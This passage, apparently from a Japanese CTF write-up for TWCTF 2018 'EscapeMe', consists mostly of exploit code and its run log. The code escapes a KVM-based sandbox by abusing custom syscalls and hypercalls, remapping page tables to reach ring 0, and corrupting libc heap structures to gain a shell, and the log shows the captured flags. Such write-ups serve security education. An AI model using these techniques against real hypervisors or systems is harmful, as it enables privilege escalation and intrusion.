    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def alloc(self, data):
        self.sendlineafter('> ', '1')
        self.sendafter('memo > ', data)

    def edit(self, idx, data):
        self.sendlineafter('> ', '2')
        self.sendlineafter('id > ', str(idx))
        self.sendafter('memo > ', data)

    def delete(self, idx):
        self.sendlineafter('> ', '3')
        self.sendlineafter('id > ', str(idx))

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)

#==========

exploit.c

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include "utils/hypercall.h"
#include "utils/syscall.h"

#define PDE64_PRESENT  1
#define PDE64_RW       (1U << 1)
#define PDE64_USER     (1U << 2)
#define PDE64_PS       (1U << 7)

void get_flag1(void);
void get_flag2(void);
void get_shell(void);
void switch_ring0(void);
void syscall_handler(void);

int main(void){
    get_flag1();
    switch_ring0();

    return 0;
}

void get_flag1(void){
    char *flag;

    puts("Try to call sys_getflag");

    syscall(flag, NR_getflag);
    if((long)flag < 0){
        puts("failed to get flag.");
        return;
    }

    mprotect(flag, 0x1000, PROT_READ);
    puts(flag);
    munmap(flag, 0x1000);
}

void switch_ring0(void){
    void *addr;
    uint64_t *pd, *pt;

    puts("Try to switch ring0");

    addr = mmap((void*)0x80000000, 0x3000, PROT_READ|PROT_WRITE, 0, -1, 0);
    munmap(addr, 0x1000);
    mmap((void*)0xc0000000, 0x1000, PROT_READ|PROT_WRITE, 0, -1, 0);

    pd = addr + 0x1000;
    pt = addr + 0x2000;

    for(int i = 0; i<2; i++) // pd[0]
        pt[i] = PDE64_PRESENT | PDE64_RW | PDE64_USER | (0x1000*i);
    for(int i = 0; i<3; i++)
        pd[8+i] = PDE64_PRESENT | PDE64_RW | PDE64_PS | (0x400000 + 0x200000*i);

    memcpy((void*)(0xc0000000 + OFST_SYS_HANDLER), &syscall_handler, 0x800);

    asm("syscall");
}

void syscall_handler(void){
    get_flag2();
    get_shell();

    asm("hlt");
}

void get_flag2(void){
    char *flag;

    flag = hc_load_module(2, 0, 0, 0x1000);
    hc_write(flag + 0x8040000000, 0x50, 0);
    hc_free(flag);
}

void get_shell(void){
    void *libc = (void*)0xc1000000;
    char *heap = (void*)0xc2000000;
    uint64_t *pd = (uint64_t*)(0x8040000000 + 0x2e000); //

    void *main_arena;
    uint64_t *free_hook;
    hc_read(&main_arena, 0x8, 0);
    hc_read(&free_hook, 0x8, 0);
    main_arena = libc + (uint64_t)main_arena;
    free_hook  = libc + (uint64_t)free_hook;

    uint64_t offset_top;
    hc_read(&offset_top, 0x8, 0);
    hc_write(main_arena + offset_top, 0x18, 0);

    hc_read(free_hook, 0x8, 0);
    hc_read(&pd[16], 0x8, 0);

    uint64_t page_offset;
    hc_read(&page_offset, 0x8, 0);

    void *p[2];
    p[0] = hc_malloc(0, 0x1000);
    p[1] = hc_malloc(0, 0x1000);

    hc_free(p[0]);
    hc_read(heap+page_offset, 0x8, 0);
    hc_free(p[1]);
}

実行してみます.

~/CTF/TWCTF/2018/EscapeMe$ make exploit
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/TWCTF/2018/EscapeMe/release/kvm.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yutaro/CTF/TWCTF/2018/EscapeMe/release/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Environment : set environment "new"
[*] '/home/yutaro/CTF/TWCTF/2018/EscapeMe/release/memo-static.elf'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to localhost on port 16359: Done
[*] hashcash -mb25 kpbdjrsj
[+] hash : 1:25:180904:kpbdjrsj::aIZl62OtjCuUpGLs:0000000001LGG
[+] flag1 : TWCTF{fr33ly_3x3cu73_4ny_5y573m_c4ll}
[+] flag2 : TWCTF{ABI_1nc0n51573ncy_l34d5_70_5y573m_d357ruc710n}
[*] addr_heap_top     = 0x008d8ef0
[*] addr_libc_base    = 0x7ff75baff000
[*] addr_vmmem        = 0x7ff75b6ff000
[*] Switching to interactive mode
$ ls -al
total 104
drwxr-x--- 2 root escape  4096 Sep  2 16:50 .
drwxr-xr-x 9 root root    4096 Sep  1 08:00 ..
-rw-r----- 1 root escape   220 Apr  4 18:30 .bash_logout
-rw-r----- 1 root escape  3771 Apr  4 18:30 .bashrc
-rw-r----- 1 root escape   807 Apr  4 18:30 .profile
-rw-r----- 1 root escape    75 Sep  1 04:37 flag2.txt
-rw-r----- 1 root escape    67 Sep  1 04:37 flag3-415254a0b8be92e0a976f329ad3331aa6bbea816.txt
-rw-r----- 1 root escape  8514 Sep  1 04:37 hashcash.pyc
-rw-r----- 1 root escape  8552 Sep  1 04:37 kernel.bin
-rwxr-x--- 1 root escape 23752 Sep  1 04:37 kvm.elf
-rwxr-x--- 1 root escape 19712 Sep  1 04:37 memo-static.elf
-rwxr-x--- 1 root escape  1693 Sep  1 04:37 pow.py
-rwxr-x--- 1 root escape    48 Sep  2 16:50 run.sh
$ cat flag3*
Here is final flag : TWCTF{Or1g1n4l_Hyp3rc4ll_15_4_h07b3d_0f_bug5}